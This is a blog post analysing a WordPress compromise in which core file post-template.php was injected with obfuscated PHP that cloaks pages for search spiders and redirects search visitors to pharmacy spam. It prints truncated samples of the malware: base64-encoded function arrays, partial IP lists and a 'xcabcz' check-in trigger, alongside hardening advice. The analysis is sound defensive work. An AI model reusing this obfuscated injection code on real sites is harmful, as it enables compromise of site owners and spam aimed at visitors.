Franklin Veaux (tacit) wrote,
Franklin Veaux

  • Mood:

WordPress Under Attack

Note: followup to this entry here

A couple of weeks ago, a good friend of mine who runs a number of WordPress blogs received an email from Google. The email told him that Google had delisted his entire site from its search engines for pharmacy spam.

Now, his site is a collection of short stories and blogs about movies he's making, with sections about filmmaking and special effects on the cheap, so the notion that it was being used to distribute pharmacy spam was a bit...surprising. Especially when the site appeared just fine to anyone who visited it.

I offered to take a look at the site, and what I found is a complex, rapidly-evolving attack against WordPress installations that's highly sophisticated, difficult to detect, and difficult to defend against. It is currently exploiting the most up-to-date version of WordPress with all current patches applied, and as of the time of this writing it's still ongoing.

When my friend was first notified of being delisted from Google, he looked at his site using an FTP program. One of the very first things he noticed is that the WordPress install directories had all been duplicated, with the duplicates having ".old" appended to the name.

Careful examination of each WordPress install folder and its corresponding .old folder revealed a difference in a key file called "post-template.php", which is part of the core of WordPress and lives in the WordPress wp-includes directory. This file is responsible for taking a blog entry from the database, formatting it, and passing it along to the template.

As of WordPress 3.2.1, the post-template.php file is supposed to be 42,164 bytes long. The post-template.php file in the hacked installs was more than twice as big--89,524 bytes long. I took a look inside the modified post-template.php file and found that it had been extensively modified by the addition of a great deal of heavily obfuscated code.

Cut for detailed technical analysis of the modified WordPress file

The function of the post-template.php file is documented in detail on the WordPress site here. Essentially, what it does is it fetches a particular blog entry, including associated information (the title, the post ID, whether the post is password protected, and so on). The main WordPress loop uses this file to fetch each post and then display it to a Web site user.

The hacked post-template.php had been modified with the addition of hundreds of lines of code that looks like gibberish. A sample of the additional code looks something like this:

$GLOBALS['_486621212_']=Array(base64_decode('ZXJyb3Jf' .'c' .'mVwb' .'3J' .'0aW5n'),base64_decode('' .'Y3' .'V' .'ybF9pbml' .'0'),base64_decode('Y3' .'V' .'ybF9zZXRvcHQ='),base64_decode('YX' .'J' .'yYXlfZ' .'G' .'l' .'mZl9rZXk='),base64_decode('YXJy' .'YXl' .'fZ' .'GlmZl9' .'r' .'ZXk='),base64_decode('Y3VybF9' .'zZ' .'X' .'R' .'vcHQ='),base64_decode('Zmx' .'vY2s='),base64_decode('Zmx' .'vb3I='),base64_decode('Y3V' .'y' .'bF' .'9' .'leG' .'Vj'),base64_decode('Y3V' .'ybF9' .'j' .'b' .'G9zZ' .'Q=' .'='),base64_decode('aW5f' .'YXJyYXk='),base64_decode('' .'cH' .'Jl' .'Z19y' .'ZXBsYWNl'),base64_decode('bXRfcmFu' .'ZA=='),base64_decode('' .'aW1hZ' .'2Vjb3' .'B5b' .'WV' .'yZ2V' .'n' .'c' .'mF' .'5'),base64_decode('Y' .'XJyYXlfa2V' .'5X' .'2' .'V' .'4a' .'XN0cw=='),base64_decode('dXJsZW5j' .'b2R' .'l'),base64_decode('' .'aW5fY' .'XJyY' .'Xk='),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJ' .'s' .'ZW5jb2R' .'l'),base64_decode('dX' .'JsZW5jb2R' .'l'),base64_decode('' .'dXJsZW5jb' .'2Rl'),base64_decode('c' .'3' .'Ryd' .'G9sb' .'3d' .'lcg=='),base64_decode('c3RycmNocg=='),base64_decode('aGVh' .'ZGVy'),base64_decode('' .'c' .'H' .'JlZ1' .'9t' .'Y' .'XR' .'jaA=='),base64_decode('' .'cHJlZ' .'19' .'tYX' .'RjaA=='),base64_decode('aG' .'Vh' .'Z' .'GVy'),base64_decode('' .'aGVhZGV' .'y'),base64_decode('dXJ' .'sZW5jb2Rl'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJ' .'sZ' .'W5jb2' .'Rl'),base64_decode('aW1h' .'Z2V' .'jb' .'3' .'B5c' .'mV' .'zaX' .'plZ' .'A==')); ?>
function _1561294298($i){$a=Array('' .'OC4' .'2' .'L' .'jQ4','N' .'jIuMTcyLj' .'E5OQ==','N' .'jI' .'uMjcuNTk=','Nj' .'Mu' .'MTYzLjEwMg=' .'=','' .'NjQuMTU3' .'LjEzNw==','' .'N' .'j' .'QuMTU' .'3LjEzOA=' .'=','' .'NjQuMj' .'MzLjE3Mw=' .'=','NjQuNjguODA' .'=','Nj' .'Q' .'uNjguODE=','NjQuNjgu' .'ODI=','NjQuNjguOD' .'M' .'=','NjQuNj' .'g' .'uO' .'D' .'Q=','NjQ' .'uN' .'jguODU=','N' .'jQuNjgu' .'ODY=', ...
$GLOBALS['_486621212_']=Array(error_reporting, curl_init, curl_setopt, array_diff_key, array_diff_key, curl_setopt, flock, floor, curl_exec, curl_close, in_array, preg_replace, mt_rand, imagecopymergegray, array_key_exists, urlencode, in_array, urlencode, urlencode, urlencode, urlencode, strtolower, strrchr, header, preg_match, preg_match, header, header, urlencode, urlencode, urlencode, imagecopyresized ?></blockquote>

The second array is huge, containing over a thousand elements. Some of these elements are numbers: '8.6.48', '62.172.199', '62.27.59', '63.163.102', '64.157.137', '64.157.138', '64.233.173', '64.68.80', '64.68.81'. Some are parameters to PHP function calls: 'HTTP_HOST', 'REQUEST_URI', 'QUERY_STRING', 'xcabcz', 'ok!', 'HTTP_HOST', '&page=', 'REQUEST_URI', '&ip=', '&agent=', 'HTTP_USER_AGENT', '1', 'Cache-Control: no-cache, no-store, must-revalidate', '/live|msn|yahoo|google|ask|aol/', 'HTTP_REFERER'. Most are keywords related to pharmacy spam...hundreds and hundreds of them.

Once these arrays are built and the function to decode them is established, the actual code that's added to post-template.php looks like this:

php $GLOBALS['_486621212_'][0](round(0));$_0=array(_1561294298(0),_1561294298(1),_1561294298(2),_1561294298(3),_1561294298(4),_1561294298(5),_1561294298(6),_1561294298(7),_1561294298(8),_1561294298(9),_1561294298(10),_1561294298(11),_1561294298(12),_1561294298(13),_1561294298(14),_1561294298(15),_1561294298(16),_1561294298(17),_1561294298(18),_1561294298(19),_1561294298(20),_1561294298(21),_1561294298(22),_1561294298(23),_1561294298(24),_1561294298(25),_1561294298(26),_1561294298(27),_1561294298(28), ...
php error_reporting(round(0));


The overall intention of the modified post-template.php file is to make decisions about what action to take based on the browser type, IP address, and search engine keywords the visitor's browser presents. The process looks something like this:

It looks at the array of partial IP addresses it has built to see if the incoming request is from one of those address ranges. If it is, it looks for the "keyword" HTTP header. If the keyword header is set to "xcabcz" then it prints "OK".

If either or both of those things are not true, it looks to see if the request is a search engine spider. If it is, it fetches a page from a specially crafted URL at, and serves up that page.


The Web site at is still active as of the time of this writing. If it doesn't see the correct specially crafted HTTP headers, as of this moment it serves up a blank page. However, this domain is being used as part of a coordinated attack against Wordpress users. I don't know what else it does. It may look for vulnerable browsers to exploit and/or take other malicious actions. I do not recommend visiting it.

If the browser is a regular user instead of a spider, it looks to see where the visitor came from. If the visitor came from a search engine, it looks to see if the visitor was searching for any of the hundreds of pharma-spam-related keywords in its list. If the answer is "yes," the visitor is sent to a custom URL string made by taking and appending to it a number of parameters that include the visitor's IP address, browser type, search engine keywords, and other information. The visitor is then sent to this URL, which redirects the visitor to a pharmacy spam page. The pharmacy spam page changes often; when I first started examining this attack, it was I've seen it redirect to a number of other domains as well. I don't know if the domain being redirected to is chosen from a list of targets randomly, or if there's a pattern to what the destination is.

The first step is interesting. The attack code contains a list of 240 partial IP addresses, such as 8.6.48, 62.172.199, and 62.27.59. If the IP address of the visitor to the site is in the range of any of these 240 partial addresses, the hostile code looks at the browser query string. If it is set to "xcabcz" the attack code presents a blank page that says "ok!".

I'm not quite sure what the purpose of this is. It may represent a first attempt at implementing a mechanism to take control of compromised WordPress sites. At the moment, it's limited to simply looking for IP address ranges and commands embedded in the browser query string, but doesn't do anything except for printing "ok!". This may be nothing more than a way to confirm that a site's been compromised, or it may be a test pilot for a command interpreter that allows for remote control of a site.

There is also a simple mechanism in place for getting updates to the list of keywords from

This attack appears to be related to a similar attack on WordPress sites that have been occurring earlier this year. Those attacks are documented here and here. Those attacks are different from this attack in a couple of respects: they don't involve creating a backup copy of attacked WordPress directories; and they do involve modification of the WordPress database, which this attack seems not to.

However, they are similar in some important respects. They involve creating arrays of base64-encoded PHP function names to obfuscate the attack code (the earlier attacks put these arrays into the WordPress database; this attack builds it in PHP). I have not studied those attacks, so I don't know if they have any sort of remote command functionality or not, or if they redirect users to the same Web site.

Most worrying, though, nobody is sure how the attacks are taking place. Securing an attacked Wordpress install appears to be very difficult to do.

My friend decided to wipe the affected Wordpress installs completely, on the grounds that nuking from orbit is the only way to be sure. He deleted the directories, deleted the WordPress databases (after exporting the text of each of his blog posts to XML), and re-uploaded the whole shebang.

Within minutes, the WPinstallations were compromised again. He did this several times, and each time, within moments of setting up a new Wordpress install, it was compromised. This was after creating entirely new databases with different passwords, nuking his FTP accounts and setting up new accounts with very strong passwords, and even running virus scans on his local machine to rule out a password-stealing virus or keylogger on his machine.

There are a few possibilities that I have considered that might account for the attacks:

- A zero-day vulnerability (and a big one!) in WordPress;

- A brute-force FTP attack on sites using WordPress;

- A server-side vulnerability, such as an exploit in Web hosting control software a la the iPower Web hack a few years back.

An FTP attack is possible, though it seems less likely since my friend changed his passwords and scanned for keylogging malware. It's hypothetically possible he's infected with an FTP keylogger that his scans didn't find, though I think it's unlikely.

The folks responsible for WordPress are maintaining that these attacks are not exploiting any weakness in any of their code, but rather are exploiting insecure configurations of shared hosting providers. They claim that improperly secured Web hosting servers are allowing users of one account on the server to modify accounts belonging to other users on the server. This seems plausible, given that not all Wordpress sites appear to be affected; I run about a dozen, and I have not been hit so far. (Of course, I'm also on a Mac, so if there is FTP keylogging software floating around out there, I probably can't be infected by it.) I have seen attacks against Wordpress installs on some hosting providers, like Dreamhost and Liquid Web, but have not yet seen any on other hosting providers, like Hostgator.

They recommend hardening WordPress installs by making sure that file permissions are set properly, as outlined here.

The speed with which my friend's site continues to be hacked when he tries to re-install may indicate an active service running on his hosting provider that automatically hacks vulnerable configurations of WordPress; I'm not sure.

Since the attack vector still is not understood. It is possible this is an attack on a zero-day flaw in WordPress.

If you run a WordPress blog, I highly, highly recommend you do the following:

- Make sure it is updated to the latest version. This is absolutely critical. WordPress is a favorite target of attacks. Fortunately, it's easy; there's an automatic "Update Now" button on the Dashboard.

- Harden WordPress as described in the link above, paying special attention to file permissions. By default, WordPress doesn't install with the tightest possible permissions. On a shared server, this is an essential security basic.

- Use strong FTP passwords and WP admin passwords.

- Remove unneeded theme files.

- Look at your site in Google by typing into a Google search. If you see a lot of pharmacy-related words appear as your site description, you've been hacked.

- If you are on a shared hosting server, find out if your hosting provider is using suexec, which is an Apache web hosting mod that can help mitigate against attacks from other users on the server.

I am continuing to explore this attack and will probably write more if and when I learn anything new.
Tags: computer security
  • Post a new comment


    default userpic

    Your reply will be screened

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.